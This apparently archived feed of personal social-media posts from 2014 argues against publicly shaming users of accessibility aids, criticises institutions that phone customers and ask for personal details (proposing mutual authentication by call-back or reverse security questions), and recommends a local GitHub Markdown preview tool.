That there exist people who falsely claim disabilities I won't argue, any more than I'd argue that Carol Brady's accuser was unfairly maligned—he was written, after all, to be in the wrong. But this is irrelevant. In day-to-day interactions, you should give people the benefit of the doubt; no one needs you to investigate, let alone exact vigilante justice upon via public shaming, anyone you encounter you think might be misusing accessibility aids.

(And those commenters who like to argue that the image isn't mocking people falsely claiming disabilities, but rather mocking alcoholics? They aren't helping; they're just managing to disparage both people with real disabilities, and people with addictions, unfairly.)___

2014-08-11 15:28:57 (7 comments, 6 reshares, 16 +1s)Open 

STOP calling me and asking for my personal information, dammit!

Any hope of real protections of privacy requires that individuals protect their own private information, and that in turn requires that authorities with access to private information promote data hygiene. But all too often I see evidence that this just isn't happening.

Every good sysadmin I've ever interacted with automatically averts his or her eyes when someone is typing a password, even when they have full superuser rights on the system the person is typing a password for. If someone starts to give us their password "just in case you need it", we stop them and reiterate that they should never do that. It's just a sign of hygiene, a demonstration that we mean it when we say, "we will never ask you for your password".

But yet, on a weekly basis I get calls from banks,... more »

STOP calling me and asking for my personal information, dammit!

Any hope of real protections of privacy requires that individuals protect their own private information, and that in turn requires that authorities with access to private information promote data hygiene. But all too often I see evidence that this just isn't happening.

Every good sysadmin I've ever interacted with automatically averts his or her eyes when someone is typing a password, even when they have full superuser rights on the system the person is typing a password for. If someone starts to give us their password "just in case you need it", we stop them and reiterate that they should never do that. It's just a sign of hygiene, a demonstration that we mean it when we say, "we will never ask you for your password".

But yet, on a weekly basis I get calls from banks, healthcare providers, insurance companies, pharmacies, and the like, and the first thing they say, after they call me, is, "I need to verify your identity; can we start with your [birthdate/ID number/social security number/address/etc.]?" And  they always react with tones ranging from hostile to bewildered—at least suggesting this doesn't happen very often!—when I reply, as I always do, "no, you called me, so I'm not giving you any personal information. Is there an extension where I can reach you from calling the number on the back of my card?"

This is infuriating. I'm sure people get annoyed when they get the robots (and they're always robots, of course) calling them and telling them to "please call the number on the back of your card for an important message".

And I'm sure people have complained about the extra time it takes to do that. You know what? I don't care. While it's not true that security and convenience need always be a tradeoff (despite the mistaken impression that all too many soi-disant "security professionals" may give), in this case, you gotta jump through the extra hoop; you can't tell the difference between your bank calling you and someone pretending to be your bank calling you unless you call them back.¹ (And Caller ID doesn't count; it's trivial to spoof the well-known Caller ID of an institution.)

If the institutions asking us to entrust them with our private information are so cavalier with it that they get pissy when we simply ask that they enforce some modicum of that trust, is it any wonder that everything seems to be moving in a direction of less and less privacy for individuals, and more and more control for institutions?

¹ There could be such a way, like you could have security questions in your account file, not only that they'd ask you, but that you could ask them. The script would go:

Q: "Hi, this is Bank XYZ calling for Trey. Is this Trey?"
A: "Yes, speaking."
Q: "We have some information to share with you. Do you have a security question to verify our identity?"
A: "Yes: what does your logo remind me of?"
Q: "A porcupine sitting on a pineapple."
A: "Yes, that's correct."
Q: "And to verify your identity, I'd like to ask you... [proceed as before]."

Yet, as obvious as it seems, I've never actually run into this sort of "mutual authentication" being done in practice.

Maybe no one's ever thought of it, but I doubt it; mutual authentication is quite standard protocol in cryptanalysis. I'd suspect the issue is liability: one can imagine that, despite admonitions to never use the same "security reverse-question" for more than one institution, people would anyway, as they do with passwords.

So if a rogue employee took security questions with him out of the institution, he could use it to make a call to a customer to get personal information. He could do so posing as the same institution; that risk already presents and companies have mitigated the liability. But, knowing that many people would re-use their reverse questions just like they re-use passwords, the rogue could call and pretend to be some other institution, and have a decent "hit rate". That's a new risk that seems potentially open-ended in terms of liability, and corporate counsels never like potentially open-ended liability.

...and I see, searching around, that government and military institutions do, in fact, do something very like this for inter- or intra-agency key recovery and telephonic cert verification. But there you don't have liability issues, you just have silly things like tax fraud and national security to worry about; no problem!___

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2014-08-09 17:51:47 (6 comments, 0 reshares, 6 +1s)Open 

Nice! It's always annoyed me a little that I couldn't preview my Markdown exactly as GitHub renders it (complete with stylesheets and syntax highlighting) without committing and pushing—something I wouldn't want to do every time I saved since remote squashing is hard to impossible, and creating a branch just for Markdown editing (so you can delete the whole branch once done and merged) is a pain.

This is a sweet little node.js app that spins up a local webserver to preview your Markdown with GitHub rendering.

If you have npm installed, it's probably easiest just to install it that way (with npm install -g greadme).

Nice! It's always annoyed me a little that I couldn't preview my Markdown exactly as GitHub renders it (complete with stylesheets and syntax highlighting) without committing and pushing—something I wouldn't want to do every time I saved since remote squashing is hard to impossible, and creating a branch just for Markdown editing (so you can delete the whole branch once done and merged) is a pain.

This is a sweet little node.js app that spins up a local webserver to preview your Markdown with GitHub rendering.

If you have npm installed, it's probably easiest just to install it that way (with npm install -g greadme).___

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